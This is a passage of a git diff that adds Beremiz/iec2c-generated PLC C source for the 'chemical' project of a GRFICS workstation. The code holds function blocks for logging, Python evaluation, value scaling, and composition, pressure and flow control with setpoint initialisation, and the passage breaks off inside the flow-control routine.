a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( 